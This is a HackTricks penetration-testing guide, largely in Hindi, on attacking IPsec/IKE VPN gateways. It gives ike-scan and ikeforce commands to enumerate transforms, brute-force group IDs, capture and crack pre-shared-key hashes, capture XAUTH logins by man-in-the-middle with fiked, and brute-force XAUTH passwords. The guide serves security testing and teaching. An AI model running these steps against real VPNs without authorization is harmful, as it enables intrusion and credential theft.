hacktricks/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md

31 KiB

500/udp - Pentesting IPsec/IKE VPN

{{#include ../banners/hacktricks-training.md}}

Basic Information

IPsec को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।

दो बिंदुओं के बीच सुरक्षा संघ (SA) की स्थापना IKE द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:

  • चरण 1: दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या आक्रामक मोड
  • चरण 1.5: हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।
  • चरण 2: यह चरण डेटा को ESP और AH के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह परफेक्ट फॉरवर्ड सीक्रेसी (PFS) सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, जिससे सुरक्षा बढ़ती है।

डिफ़ॉल्ट पोर्ट: 500/udp

nmap का उपयोग करके सेवा का खोज करें

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

एक मान्य परिवर्तन खोजना

IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। प्रत्येक परिवर्तन में DES या 3DES जैसे एन्क्रिप्शन एल्गोरिदम, SHA या MD5 जैसे अखंडता एल्गोरिदम, एक पूर्व-शेयर की के रूप में प्रमाणीकरण प्रकार, Diffie-Hellman 1 या 2 के रूप में कुंजी वितरण एल्गोरिदम और 28800 सेकंड के रूप में जीवनकाल जैसे कई गुण होते हैं।

फिर, आपको जो पहला काम करना है वह है एक मान्य परिवर्तन खोजना, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण ike-scan का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक पैकेट को गेटवे पर ISAKMP हेडर और इसके अंदर आठ परिवर्तनों के साथ एकल प्रस्ताव के साथ भेजता है।

प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसे AUTH कहा जाता है और इसका मान PSK है। इसका मतलब है कि vpn को एक प्रीशेयर की का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक पेंटेस्टर के लिए वास्तव में अच्छा है)।
अंतिम पंक्ति का मान भी बहुत महत्वपूर्ण है:

  • 0 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य एक IPsec गेटवे नहीं है
  • 1 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE वार्ता करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक ट्रांसफॉर्म स्वीकार्य हैं (एक मान्य ट्रांसफॉर्म आउटपुट में दिखाया जाएगा)।
  • 0 returned handshake; 1 returned notify: VPN गेटवे तब एक नोटिफाई संदेश के साथ प्रतिक्रिया करते हैं जब कोई भी ट्रांसफॉर्म स्वीकार्य नहीं है (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।

फिर, इस मामले में हमारे पास पहले से ही एक मान्य ट्रांसफॉर्मेशन है लेकिन यदि आप तीसरे मामले में हैं, तो आपको एक मान्य ट्रांसफॉर्मेशन खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:

सबसे पहले, आपको सभी संभावित ट्रांसफॉर्मेशन बनाने की आवश्यकता है:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

और फिर प्रत्येक को ike-scan का उपयोग करके ब्रूट-फोर्स करें (इसमें कई मिनट लग सकते हैं):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स पर प्रतिक्रिया दे रहा है। फिर, आप आक्रामक मोड का उपयोग करके वही ब्रूट-फोर्स आजमा सकते हैं:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

उम्मीद है कि एक मान्य परिवर्तन वापस दर्शाया जाएगा
आप iker.py का उपयोग करके समान हमला करने की कोशिश कर सकते हैं।
आप ikeforce के साथ परिवर्तनों को ब्रूट फोर्स करने की भी कोशिश कर सकते हैं:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH समूह: 14 = 2048-बिट MODP और 15 = 3072-बिट
2 = HMAC-SHA = SHA1 (इस मामले में)। --trans प्रारूप है $Enc,$Hash,$Auth,$DH

Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा के एन्क्रिप्शन को तोड़ सकते हैं। यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा लगता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।

सर्वर फिंगरप्रिंटिंग

फिर, आप ike-scan का उपयोग करके उपकरण के विक्रेता का पता लगाने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त संदेशों के बीच समय के अंतर का विश्लेषण करेगा और मेल खाने वाले प्रतिक्रिया पैटर्न के साथ, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर IKE के साथ वैकल्पिक विक्रेता आईडी (VID) पेलोड का उपयोग करेंगे।

यदि आवश्यक हो तो मान्य परिवर्तन निर्दिष्ट करें (using --trans)

यदि IKE विक्रेता का पता लगाता है, तो यह इसे प्रिंट करेगा:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

यह nmap स्क्रिप्ट ike-version के साथ भी प्राप्त किया जा सकता है

सही ID (समूह नाम) खोजना

हैश को कैप्चर करने की अनुमति पाने के लिए आपको एक मान्य परिवर्तन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद सही समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा।
इसके लिए, मैं आपको 2 विधियाँ सुझाऊंगा:

ike-scan के साथ ID का ब्रूटफोर्सिंग

सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें हैश इकट्ठा करने के लिए ("-P"):

ike-scan -P -M -A -n fakeID <IP>

यदि कोई हैश वापस नहीं किया गया, तो शायद यह ब्रूट फोर्सिंग का तरीका काम करेगा। यदि कुछ हैश वापस किया गया, तो इसका मतलब है कि एक फर्जी हैश एक फर्जी आईडी के लिए वापस भेजा जाएगा, इसलिए यह तरीका आईडी को ब्रूट-फोर्स करने के लिए विश्वसनीय नहीं होगा। उदाहरण के लिए, एक फर्जी हैश वापस किया जा सकता है (यह आधुनिक संस्करणों में होता है):

लेकिन यदि जैसा कि मैंने कहा, कोई हैश वापस नहीं किया गया, तो आपको ike-scan का उपयोग करके सामान्य समूह नामों को ब्रूट-फोर्स करने का प्रयास करना चाहिए।

यह स्क्रिप्ट संभावित आईडी को ब्रूट-फोर्स करने का प्रयास करेगी और उन आईडी को वापस करेगी जहाँ एक मान्य हैंडशेक वापस किया गया है (यह एक मान्य समूह नाम होगा)।

यदि आपने एक विशिष्ट परिवर्तन खोजा है, तो इसे ike-scan कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है, तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही तरीके से काम न करे)।

आप सामान्य समूह नामों को ब्रूट-फोर्स करने के लिए ikeforce का शब्दकोश या seclists में वाला उपयोग कर सकते हैं:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

{% file src="../images/vpnIDs.txt" %}

Iker के साथ ID का ब्रूटफोर्सिंग

iker.py भी संभावित समूह नामों को ब्रूटफोर्स करने के लिए ike-scan का उपयोग करता है। यह ike-scan के आउटपुट के आधार पर एक मान्य ID खोजने के लिए अपनी विधि का पालन करता है।

ikeforce के साथ ID का ब्रूटफोर्सिंग

ikeforce.py एक उपकरण है जिसका उपयोग IDs को ब्रूट फोर्स करने के लिए किया जा सकता है। यह उपकरण विभिन्न कमजोरियों का लाभ उठाने की कोशिश करेगा जो एक मान्य और गैर-मान्य ID के बीच अंतर करने के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।

डिफ़ॉल्ट रूप से ikeforce शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके।

  • पहली विधि समूह नामों को खोजने के द्वारा ब्रूट-फोर्स करना है Dead Peer Detection DPD की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।
  • उपलब्ध दूसरी विधि यह है कि प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।
  • तीसरी विधि गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज पर आधारित है।
  • अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः नहीं भेजता है, तो ikeforce सर्वर को ब्रूट फोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।
    स्पष्ट है, ID का ब्रूट फोर्सिंग का लक्ष्य PSK प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, ID और PSK के साथ आपको XAUTH को ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।

यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): यह संभव है कि VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त किए जा सकें, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजी जाती है।

Capturing & cracking the hash

अंत में, यदि आपने एक मान्य परिवर्तन और समूह नाम पाया है और यदि आक्रामक मोड की अनुमति है, तो आप बहुत आसानी से क्रैक करने योग्य हैश प्राप्त कर सकते हैं:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

हैश hash.txt के अंदर सहेजा जाएगा।

आप psk-crack, john ( ikescan2john.py का उपयोग करते हुए) और hashcat का उपयोग करके हैश को क्रैक कर सकते हैं:

psk-crack -d <Wordlist_path> psk.txt

XAuth

आक्रामक मोड IKE को पूर्व-शेयर की (PSK) के साथ मिलाकर समूह प्रमाणीकरण उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को XAuth (विस्तारित प्रमाणीकरण) द्वारा बढ़ाया गया है, जो उपयोगकर्ता प्रमाणीकरण की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण आमतौर पर Microsoft Active Directory, RADIUS, या समान प्रणालियों जैसी सेवाओं का उपयोग करता है।

IKEv2 में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल) का उपयोग XAuth के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है।

स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए

तो आप fiked का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को fiked पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, अधिक जानकारी). Fiked एक VPN एंडपॉइंट के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

इसके अलावा, IPSec का उपयोग करके एक MitM हमला करने की कोशिश करें और पोर्ट 500 पर सभी ट्रैफ़िक को ब्लॉक करें, यदि IPSec टनल स्थापित नहीं हो सकता है तो शायद ट्रैफ़िक स्पष्ट रूप से भेजा जाएगा।

ikeforce के साथ XAUTH उपयोगकर्ता नाम और पासवर्ड का ब्रूट-फोर्सिंग

XAUTH (जब आप एक मान्य समूह नाम id और psk जानते हैं) को ब्रूट फोर्स करने के लिए, आप एक उपयोगकर्ता नाम या उपयोगकर्ता नामों की सूची और पासवर्डों की सूची का उपयोग कर सकते हैं:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

इस तरह, ikeforce प्रत्येक username:password के संयोजन का उपयोग करके कनेक्ट करने की कोशिश करेगा।

यदि आपने एक या एक से अधिक मान्य ट्रांसफॉर्म पाए हैं, तो बस उन्हें पिछले चरणों की तरह उपयोग करें।

IPSEC VPN के साथ प्रमाणीकरण

Kali में, VPNC IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। प्रोफाइल को निर्देशिका /etc/vpnc/ में स्थित होना चाहिए। आप vpnc कमांड का उपयोग करके इन प्रोफाइल को आरंभ कर सकते हैं।

निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेट करने की प्रक्रिया को दर्शाते हैं:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

इस सेटअप में:

  • [VPN_GATEWAY_IP] को VPN गेटवे के वास्तविक IP पते से बदलें।
  • [VPN_CONNECTION_ID] को VPN कनेक्शन के पहचानकर्ता से बदलें।
  • [VPN_GROUP_SECRET] को VPN के समूह गुप्त से बदलें।
  • [VPN_USERNAME] और [VPN_PASSWORD] को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें।
  • [PID] उस प्रक्रिया ID का प्रतीक है जो vpnc प्रारंभ करते समय असाइन की जाएगी।

VPN कॉन्फ़िगर करते समय प्लेसहोल्डर्स को बदलने के लिए वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें।

संदर्भ सामग्री

Shodan

  • port:500 IKE

{{#include ../banners/hacktricks-training.md}}